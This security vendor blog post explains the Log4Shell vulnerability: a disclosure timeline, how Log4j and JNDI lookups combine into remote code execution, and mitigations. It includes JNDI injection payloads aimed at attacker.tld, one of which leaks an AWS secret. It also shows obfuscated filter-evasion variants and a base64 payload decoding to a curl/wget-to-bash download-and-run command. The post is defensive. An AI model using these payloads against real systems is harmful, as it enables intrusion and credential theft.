On December 9, 2021, the web was turned on its head with public disclosure of a high-severity vulnerability dubbed Log4Shell (CVE-2021-44228). At the time we wrote about how this event highlighted the effectiveness of Web Application Firewalls (WAF) as a defensive control, but we didn’t dive deep into how the bug worked or the mitigation options beyond “update.” This post captures what we learned during the first 30 days: mechanics, activity, and practical defenses.
Understanding the Log4Shell Vulnerability
The original vulnerability was assigned CVE-2021-44228. Follow-on CVEs covered related issues and bypasses as the community iterated on fixes. Below is a condensed timeline (credit to JFrog/CSO for early aggregations):
Date | Description |
---|---|
2013-07-18 | JNDI lookup feature committed. |
2021-11-24 | Vulnerability reported privately to Apache (credited to Chen Zhaojun). |
2021-11-26 | CVE-2021-44228 assigned. |
2021-12-05 | Target fix version set to 2.15.0. |
2021-12-09 | CVE-2021-44228 goes public; PoC exploit widely circulated. |
2021-12-10 | Log4j 2.15.0 released (disable message lookups by default, restrict JNDI). |
2021-12-13 | Log4j 2.16.0 released (remove message lookups; JNDI disabled by default). |
2021-12-14 | CVE-2021-45046 published. |
2021-12-18 | CVE-2021-45105 published; 2.17.0 released. |
2021-12-22 | Backports for Java 7 (2.12.3) and Java 6 (2.3.1). |
2022-01-04 | FTC warns companies to remediate Log4j or face enforcement. |
2022-01-10 | Reports of ransomware crews attempting exploitation. |
CVSS: 10.0 (Critical). The core risk is Remote Code Execution (RCE), enabling an attacker to execute arbitrary code on affected systems.
How Log4Shell Works
Log4Shell chained two legitimate features into a dangerous primitive: the Log4j logging library and the Java Naming and Directory Interface (JNDI).
Log4j (logging)
Log4j records application events. A simple example:
logger.info("User {} has logged in using id {}", map.get("Name"), user.getId());
// → "User Tony has logged in using id 001."
JNDI (lookups)
JNDI lets Java applications fetch objects from remote directories (e.g., LDAP, RMI). Example LDAP URL:
ldap://188.56.76.25:8080/O=Perez,C=US
Supported protocols include LDAP, DNS, RMI, NDS, NIS, and CORBA. The problem surfaced when
Log4j gained the ability to evaluate lookups like ${jndi:...}
inside logged strings.
The dangerous combo
Example where a lookup is evaluated during logging:
final Logger logger = LogManager.getLogger(...);
logger.error("{}: Error {}", "${jndi:ldap://logconfig/prefix}", error.getMessage());
Log4j also supported environment lookups (useful for debugging; risky when exfiltrated):
logger.error("The AWS Secret key: {}", "${env:ENV_VALUE}");
End-to-end example
Consider a search form whose queries are logged:
final Logger logger = LogManager.getLogger(...);
logger.error("Search page: Search issued for {}", searchInput);
An attacker submits a payload like ${jndi:ldap://attacker.tld/a}
. Log4j evaluates it, performs the JNDI lookup, and (before patches) could fetch and execute a remote object or leak secrets via nested lookups.
Mitigating Log4Shell
If you own the Java stack, the most durable mitigation is to update Log4j to a fixed version: 2.3.2 (Java 6), 2.12.4 (Java 7), or 2.17.1+ (Java 8+).
Harden JNDI behavior (when updates lag)
Disable trusting remote codebases:
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
Be aware: even without loading remote classes, a crafted payload can still exfiltrate values via nested lookups, for example:
${jndi:ldap://attacker.tld/bucket/${env:AWS_SECRET}}
Remove vulnerable classes (stop-gap)
Strip the JNDI lookup class from affected JARs:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Or with jar
:
mkdir tmp
cd tmp
jar xvf ../log4j-1.2.*.jar
rm org/apache/log4j/net/JMSAppender.class
jar cvf ../log4j-1.2*-patched.jar .
For Non-Java Teams: Finding Exposure
Two big themes emerged: unknown unknowns and supply chain risk. Many orgs used Log4j indirectly via transitive dependencies. First step: discover.
- Scan hosts and artifacts (JARs, WARs) to identify Log4j usage.
- Work with vendors for patches; use hotpatches only as temporary bridges.
As a practice, maintain an SBOM (e.g., OWASP CycloneDX) to make “what uses what?” an easy question in the next event.
Observed Evasions & Payload Mutations
Attackers quickly varied inputs to bypass naïve filters:
Example 1: Encoding LDAP
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:
Example 2: Encoding the payload
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:
Example 3: Base64 wrapper
KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDcuMjQ2LjEwNi4xNTc6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjA3LjI0Ni4xMDYuMTU3OjgwKXxiYXNo
Which decodes to:
(curl -s 45.155.205.233:5874/207.246.106.XX:80 || wget -q -O- 45.155.205.233:5874/207.246.106.XX:80) | bash
Why Cloud WAF Helped (but isn’t a Silver Bullet)
Virtual patching at the edge bought teams time to inventory, patch, and validate. It stops many exploit attempts, but defense-in-depth matters: patch the app, restrict egress where possible, sanitize logs, and monitor for anomalous lookups.
Questions? Reach us at support@noc.org.
NOC — Authoritative DNS, CDN & WAF
Accelerate and protect your sites with global DNS, edge caching, and an always-on web application firewall.
See Plans